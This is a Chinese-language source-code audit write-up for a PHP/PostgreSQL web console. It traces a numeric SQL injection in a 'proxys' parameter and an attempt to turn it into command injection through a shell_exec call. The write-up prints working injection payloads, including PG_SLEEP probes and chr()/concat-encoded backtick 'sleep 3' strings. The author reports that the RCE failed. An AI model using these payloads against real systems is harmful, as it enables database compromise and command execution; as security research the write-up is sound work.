审计源码发现的,比较有趣的案例:
先上存在安全问题代码:
$ips = $this->oInputPost->GetArray(\"ips\");$domains = $this->oInputPost->GetArray(\"domains\");$proxys = $this->oInputPost->GetArray(\"proxys\");if (!empty($proxys)) {$sql = \"SELECT * FROM \" . WebConsole\\NM_DBT_SYSTEM_DEVICE . \" WHERE typeid = 4 AND status = 2 AND id IN (\" . WebConsole\\implode(\", \", $proxys) . \") ORDER BY id ASC\";$list = $this->oDbConn->FetchAll($sql);foreach ($list as $value ) {$proxyips[] = $value[\"ip\"];}}else {$proxyips[] = \"127.0.0.1\";}}if (empty($proxyips)) {$this->SetError(WebConsole\\_(\"TIPS_PROXY_SERVER_OFFLINE\"), 2086);break;}$port = $this->oInputPost->GetInt(\"port\");if ((empty($ips) && empty($domains)) || (WebConsole\\false === $port) || (WebConsole\\strlen($port) == 0)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2093);break;}$this->InitCheckNet();foreach ($proxyips as $proxyip ) {foreach ($ips as $value ) {if (($this->oCheckNet->IPv4Check($value) === WebConsole\\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\\false)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2100);break 3;}$cmd = \"/usr/local/bin/osm_sysmng_tool -T 7 -D \" . $proxyip . \" -R \" . $value . \" -P \" . $port;$result = WebConsole\\shell_exec($cmd);
其中比较重要的三部分:
我摘取下来,一个个看过去:
第一部分:
$sql = \"SELECT * FROM \" . WebConsole\\NM_DBT_SYSTEM_DEVICE . \" WHERE typeid = 4 AND status = 2 AND id IN (\" . WebConsole\\implode(\", \", $proxys) . \") ORDER BY id ASC\";$list = $this->oDbConn->FetchAll($sql);
这里把直接调用$proxys数组,相当于id IN(数字),是个数字类型注入:
直接构造poc:
proxys[]=1) AND 1=(SELECT 1 FROM PG_SLEEP(5))-- 1&port=80&ips=127.0.0.1
完成sql注入,下一步往下看代码:
$list = $this->oDbConn->FetchAll($sql);foreach ($list as $value ) {$proxyips[] = $value[\"ip\"];}
把查询的数据,已关联数组的形式显示,key和value那种,然后把获取到的表字段ip的值给$proxyips[]
继续看上面代码发现:
foreach ($proxyips as $proxyip ) {foreach ($ips as $value ) {if (($this->oCheckNet->IPv4Check($value) === WebConsole\\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\\false)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2100);break 3;}$cmd = \"/usr/local/bin/osm_sysmng_tool -T 7 -D \" . $proxyip . \" -R \" . $value . \" -P \" . $port;$result = WebConsole\\shell_exec($cmd);
发现他对我们获取的ip字段进行遍历,最后带入了:
$cmd = \"/usr/local/bin/osm_sysmng_tool -T 7 -D \" . $proxyip . \" -R \" . $value . \" -P \" . $port;
$port不可控,因为通过前面代码阅读:
$port = $this->oInputPost->GetInt(\"port\");if ((empty($ips) && empty($domains)) || (WebConsole\\false === $port) || (WebConsole\\strlen($port) == 0)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2093);break;}
发现他做了端口验证,$value也不可控:
if (($this->oCheckNet->IPv4Check($value) === WebConsole\\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\\false)) {$this->SetError(WebConsole\\_(\"ERR_PARAMETER\"), 2100);break 3;}
做了ipv4验证,验证了是否是一个真正的ip地址
那么就差$proxyip了
通过前面代码,看到select查询代码:
这是个常量,跟进去看看定义:
define(\"NM_DBT_SYSTEM_DEVICE\", \"t_system_device\");
那么他查询的就是这个表咯
查看这个表的创建,查看表结构:
如果无法查看表结构我们可以怎么做?全局搜索t_system_device,查询蛛丝马迹,但是我们是幸运的,可以查看表结构:
总共14个字段,即使不看表结构,也可以通过order by获取到字段信息
拿出来:
CREATE TABLE t_system_device(id serial NOT NULL,status integer NOT NULL,typeid integer NOT NULL,name varchar(100) NOT NULL,displayname varchar(200),ip inet NOT NULL,fallbackip inet,clusterip inet,port integer,remark text,createtime TIMESTAMP null,creator varchar(40),changetime TIMESTAMP null,changer varchar(40),PRIMARY KEY (id));
这里我想到的思路是控制$proxyip,从而达成rce,这是可控的,我们来操作下:
已知道ip字段在第六列,直接修改内容为:
proxys[]=1) union select null,null,null,null,null,\'`sleep 3`\',null,null,null,null,null,null,null,null -- 1&port=80&ips=127.0.0.1
发现测试失败,并没有延迟三秒,并且还报错了,原因就在于过滤了引号,我们继续操作安排:
我们使用一些解码操作:
这里选择使用char函数:
把\’`sleep 3`\’替换成:
(concat(char(96),char(115),char(108),char(101),char(101),char(112),char(32),char(51),char(96)))
对应的的解码如下:
但是还是失败了?
什么原因呢?细心的朋友应该知道,我使用的函数是mysql的函数,连接符也是mysql的,但是我们代码审查的源码是postgresql的,所以寻找postgresql的字符串连接符和解密函数:
节省时间我直接上poc:
ips[]=192.168.0.1&domains[]=www.baidu.com&p=8080&proxys[]=12) union select 1,2,3,(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96))-- aaaa
这次还是利用失败了:
我们来转移15b0下sleep 3这个payload的存放位置:
放到最后面:
这一次页面返回正常,为什么?
因为类型是varchar(40),而union注入的ip字段类型是inet类型的,所以我们不能union注入,他是强类型表字段约束:
为了了解他是不是真的强类型表约束?我搭建了环境用来测试:
我创建了一个表,类型是id和varchar
当我进行union的时候:
这样是不允许的,因为数据类型不一样,postgresql很严格,必须字段数据类型统一
合法操作是这样:
所以我们rce失败是理所应当!
假设前提:如果源代码使用mysql数据库,我们还会rce失败吗?
答案:rce是成功的
我们来写个demo:
这是我很早之前创建的表,他有int类型,也有varchar类型:
现在我们union查询,全部设置成数字,或者全部设置成字符串:
发现并不会报错,说明mysql的字段验证是不严格的,算是个小tips吧
源代码如果使用mysql进行sql语句操作的话:
我们直接用之前失败的残次品:
proxys[]=1) union select null,null,null,null,null,(concat(char(96),char(115),char(108),char(101),char(101),char(112),char(32),char(51),char(96))),null,null,null,null,null,null,null,null -- 1&port=80&ips=127.0.0.1
即使是过滤了单引号,我们还是可以通过这种方式进行注入达成rce
因为这个rce最后没利用成功,利用数据包就不放了,呵呵